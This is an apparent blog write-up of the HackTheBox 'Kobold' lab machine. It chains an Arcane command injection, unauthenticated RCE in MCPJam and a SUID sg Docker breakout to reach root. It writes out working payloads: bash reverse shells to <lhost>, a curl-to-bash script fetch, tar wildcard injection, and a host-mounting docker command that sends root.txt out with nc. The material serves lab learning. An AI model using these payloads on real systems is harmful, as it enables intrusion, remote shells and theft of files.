May 13, 2026
HackTheBox — Kobold Writeup | CVE-2026–23520|MCPJam RCE|Docker Breakout
Difficulty: EASY | OS: Linux | Category: Web / Container Escape
Panda Anonimo
6 min read
Difficulty:_ EASY | OS: Linux | Category: Web / Container Escape_
Topics: CVE-2026–23520, MCPJam RCE, Docker Breakout, SUID Abuse
Kobold is a Easy (but honestly a little bit medium) Linux machine on HackTheBox that highlights the dangers of exposing internal development APIs to the internet. The attack path involves discovering a non-standard port running a vulnerable Docker management platform, pivoting through a hidden subdomain to find a second RCE vulnerability in MCPJam, and finally escaping to root by chaining the sg SUID binary with Docker to mount the host filesystem inside a container.
1. Reconnaissance
We kick things off with a full port scan:
nmap -p- -sCV $IP -oN kobold.txtnmap -p- -sCV $IP -oN kobold.txtKey findings:
Port Service Notes 22 SSH OpenSSH 9.6p1 Ubuntu 80 HTTP Nginx 1.24.0 — redirects to HTTPS 443 HTTPS Nginx 1.24.0 — SSL cert reveals *.kobold.htb 3552 HTTP Golang net/http server — non-standard, interesting
Two things stand out immediately. First, the SSL certificate on port 443 contains a wildcard Subject Alternative Name:
Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htbSubject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htbThis tells us the server uses name-based virtual hosting — subdomains are in play. Second, port 3552 is running a Golang HTTP server, which is unusual and worth investigating before anything else.
We add the domain to /etc/hosts:
echo '<IP> kobold.htb' >> /etc/hostsecho '<IP> kobold.htb' >> /etc/hosts2. Enumeration
Port 3552 — Arcane Docker Manager
Navigating to http://kobold.htb:3552 reveals an Arcane instance. Arcane is a self-hosted web application for managing Docker containers — similar to Portainer. The page discloses the version: Arcane 1.13.0.
A quick search for "Arcane 1.13 vulnerability" leads directly to CVE-2026–23520.
CVE-2026–23520 — Arcane Command Injection
This is a Critical (CVSS 9.8) command injection vulnerability in Arcane versions prior to 1.13.0. The updater service allows users to define lifecycle hooks via Docker labels:
com.getarcaneapp.arcane.lifecycle.pre-update
com.getarcaneapp.arcane.lifecycle.post-updatecom.getarcaneapp.arcane.lifecycle.pre-update
com.getarcaneapp.arcane.lifecycle.post-updateThe value of these labels is passed directly to /bin/sh -c without any sanitization. Any authenticated user can create a project with a malicious label, and when an administrator triggers a container update, the command executes on the server:
{
"name": "exploit",
"labels": {
"com.getarcaneapp.arcane.lifecycle.post-update": "bash -i >& /dev/tcp/<lhost>/4444 0>&1"
}
}{
"name": "exploit",
"labels": {
"com.getarcaneapp.arcane.lifecycle.post-update": "bash -i >& /dev/tcp/<lhost>/4444 0>&1"
}
}We find two public PoCs and test both against http://kobold.htb:3552 — neither works. The exploit is valid, but it is hitting the wrong endpoint. The API must be exposed elsewhere.
Subdomain Fuzzing
We fuzz for virtual hosts using gobuster:
gobuster vhost -u https://kobold.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--exclude-length 154 -k --append-domaingobuster vhost -u https://kobold.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--exclude-length 154 -k --append-domainNote on ffuf: ffuf works too, but you must target HTTPS with
-kto skip cert validation. Running it against HTTP returns identical responses for every subdomain, making filtering impossible.
Result: mcp.kobold.htb — Status 200
We update /etc/hosts and move on:
echo '<IP> mcp.kobold.htb' >> /etc/hostsecho '<IP> mcp.kobold.htb' >> /etc/hosts3. Initial Foothold — CVE-2026–23744 (MCPJam RCE)
Visiting https://mcp.kobold.htb reveals a MCPJam instance running version v1.4.2.
MCPJam is a web application that acts as a hub for connecting and managing MCP (Model Context Protocol) servers — a protocol created by Anthropic that standardizes how AI models communicate with external tools. To start an MCP server, MCPJam needs to spawn a local process. It exposes an /api/mcp/connect endpoint for this purpose.
The problem: this endpoint is bound to 0.0.0.0, making it remotely accessible, and it accepts command and args from the POST body and executes them without any validation. This is unauthenticated RCE.
We set up a listener and send the payload:
# Terminal 1
nc -nlvp 4444
# Terminal 2
curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<lhost>/4444 0>&1"],
"env": {}
},
"serverId": "pwned"
}'# Terminal 1
nc -nlvp 4444
# Terminal 2
curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<lhost>/4444 0>&1"],
"env": {}
},
"serverId": "pwned"
}'The server responds with a 504 Gateway Timeout, but our listener catches the connection. We have a shell as ben.
We stabilize it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 columns 150python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 columns 1504. User Flag
We are already running as ben. The user flag is at:
cat /home/ben/user.txtcat /home/ben/user.txt5. Privilege Escalation
Initial Enumeration
We check our current identity and group memberships:
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)We are in the operator group. Let's see what that gives us:
find / -group operator 2>/dev/null
# /privatebin-data
# /privatebin-data/data ← world-writable
# /privatebin-data/certs/key.pem
# /privatebin-data/certs/cert.pemfind / -group operator 2>/dev/null
# /privatebin-data
# /privatebin-data/data ← world-writable
# /privatebin-data/certs/key.pem
# /privatebin-data/certs/cert.pemThe operator group has access to a PrivateBin data directory, and /privatebin-data/data is world-writable.
Rabbit Hole — Tar Wildcard Injection
A world-writable directory combined with a backup cron job is a classic setup for tar wildcard injection. The idea is:
If a cron job runs: tar czf backup.tar.gz *
You create files named: --checkpoint=1
--checkpoint-action=exec=bash shell.sh
tar interprets the filenames as flags and executes your scriptIf a cron job runs: tar czf backup.tar.gz *
You create files named: --checkpoint=1
--checkpoint-action=exec=bash shell.sh
tar interprets the filenames as flags and executes your scriptWe monitor running processes with pspy and check /etc/crontab and /etc/cron.d/ — there is no cron job. The world-writable directory was a deliberate red herring. We move on.
LinPEAS
We run LinPEAS for broader enumeration:
# Kali
python3 -m http.server 80
# Target
curl http://<lhost>/linpeas.sh | bash# Kali
python3 -m http.server 80
# Target
curl http://<lhost>/linpeas.sh | bashLinPEAS surfaces https://bin.kobold.htb/ — a PrivateBin instance accessible from inside the machine. Interesting, but not the privesc path.
More importantly, LinPEAS flags something about SUID binaries.
The Real Path — sg SUID + Docker Breakout
We check the sg binary:
ls -la /usr/bin/sg
# -rwsr-xr-x 1 root root ... /usr/bin/sgls -la /usr/bin/sg
# -rwsr-xr-x 1 root root ... /usr/bin/sgsg has the SUID bit set. This is the key to the entire escalation.
sg is a Linux utility that executes a command under a different group ID. Normally it only works if you are already a member of that group. But because it has SUID, it runs as root momentarily — and root can switch to any group without restriction, regardless of what groups your current user has.
This means we can use sg docker even though ben is not in the docker group.
We revisit the MCPJam RCE vector, but this time we tell the server to run sg docker. The critical distinction from a naive approach is:
- Running
sg docker -c "curl ..."from your own machine does nothing —sgonly affects your localcurlprocess, not what the remote server executes. - Sending
sgas thecommandin the MCPJam payload makes the server process switch to the docker group before running Docker.
Step 1 — Start a listener:
nc -nlvp 4444nc -nlvp 4444Step 2 — Send the Docker breakout payload:
curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"command": "sg",
"args": [
"docker",
"-c",
"docker run -u root -v /:/hostfs --rm --entrypoint cat privatebin/nginx-fpm-alpine:2.0.2 /hostfs/root/root.txt | nc -w 10 <lhost> 4444"
],
"env": {}
},
"serverId": "rootflag"
}'curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"command": "sg",
"args": [
"docker",
"-c",
"docker run -u root -v /:/hostfs --rm --entrypoint cat privatebin/nginx-fpm-alpine:2.0.2 /hostfs/root/root.txt | nc -w 10 <lhost> 4444"
],
"env": {}
},
"serverId": "rootflag"
}'What the server executes:
sg docker -c "docker run -u root -v /:/hostfs --rm --entrypoint cat privatebin/nginx-fpm-alpine:2.0.2 /hostfs/root/root.txt | nc -w 10 <lhost> 4444"sg docker -c "docker run -u root -v /:/hostfs --rm --entrypoint cat privatebin/nginx-fpm-alpine:2.0.2 /hostfs/root/root.txt | nc -w 10 <lhost> 4444"Payload breakdown:
Component Purpose sg docker -c "..." Activates docker group via SUID — no membership required docker run -u root Runs the container process as root -v /:/hostfs Mounts the entire host filesystem at /hostfs inside the container --rm Cleans up the container after execution privatebin/nginx-fpm-alpine:2.0.2 Image already present on the host (alpine was not available) --entrypoint cat /hostfs/root/root.txt Overrides default entrypoint to read the root flag from the mounted host | nc -w 10 <lhost> 4444 Pipes the output back to our listener
6. Root Flag
Our listener receives the connection and the root flag is printed directly:
Ncat: Connection from 10.129.x.x
HTB{...}Ncat: Connection from 10.129.x.x
HTB{...}Understanding the -v /:/hostfs Trick
This is why Docker group access is always treated as an instant root escalation:
Host filesystem:
/root/root.txt ← ben cannot read this (owned by root)
/etc/shadow ← ben cannot read this
Inside the container (you are root):
/hostfs/root/root.txt ← same physical file, now readable
/hostfs/etc/shadow ← same physical file, now readableHost filesystem:
/root/root.txt ← ben cannot read this (owned by root)
/etc/shadow ← ben cannot read this
Inside the container (you are root):
/hostfs/root/root.txt ← same physical file, now readable
/hostfs/etc/shadow ← same physical file, now readableDocker volume mounts are not copies — they reference the same underlying disk blocks. Being root inside a container that has / of the host mounted is functionally equivalent to being root on the host machine itself.
Attack Chain
nmap → port 3552 (Arcane) + SSL wildcard SAN
→ CVE-2026-23520 PoC fails (wrong endpoint)
→ gobuster vhost → mcp.kobold.htb (MCPJam v1.4.2)
→ CVE-2026-23744 → /api/mcp/connect unauthenticated RCE
→ reverse shell as ben → user.txt ✓
→ operator group → /privatebin-data world-writable
→ tar wildcard injection (rabbit hole, no cron)
→ LinPEAS → sg has SUID bit
→ sg docker via MCPJam RCE
→ docker run -v /:/hostfs
→ cat /hostfs/root/root.txt → root.txt ✓nmap → port 3552 (Arcane) + SSL wildcard SAN
→ CVE-2026-23520 PoC fails (wrong endpoint)
→ gobuster vhost → mcp.kobold.htb (MCPJam v1.4.2)
→ CVE-2026-23744 → /api/mcp/connect unauthenticated RCE
→ reverse shell as ben → user.txt ✓
→ operator group → /privatebin-data world-writable
→ tar wildcard injection (rabbit hole, no cron)
→ LinPEAS → sg has SUID bit
→ sg docker via MCPJam RCE
→ docker run -v /:/hostfs
→ cat /hostfs/root/root.txt → root.txt ✓Key Takeaways
Always scan all ports. Port 3552 is non-standard and easy to miss with a default nmap scan. The entire foothold lived there. Use -p- every time.
A failed exploit is still a clue. CVE-2026–23520 was real, but the PoCs targeted the wrong host. Instead of discarding it, we used the knowledge of the vulnerability to understand what to look for — which led us to the correct endpoint on mcp.kobold.htb.
Virtual host fuzzing should always use HTTPS when 443 is open. Many subdomains only exist on the HTTPS vhost. ffuf against HTTP silently misses them.
SUID on sg = unrestricted group switching. sg with SUID runs as root momentarily, meaning it can switch to any group on the system regardless of your actual group memberships. Always run find / -perm -4000 2>/dev/null as part of your enumeration.
Docker access = root on the host. Whether through group membership, socket access, or SUID abuse — if you can run docker run -v /:/hostfs, you own the machine.
RCE gives you the server's permissions, not yours. You sent sg docker as a command to MCPJam, and the server executed it in its own context. You did not need docker access locally — you needed the server to have it.
Thanks for reading in speciall to my first follower GSX1200_. If you found this helpful, consider following for more HackTheBox writeups._
Tags: #HackTheBox #CTF #Linux #Docker #RCE #CVE #ContainerEscape #PrivilegeEscalation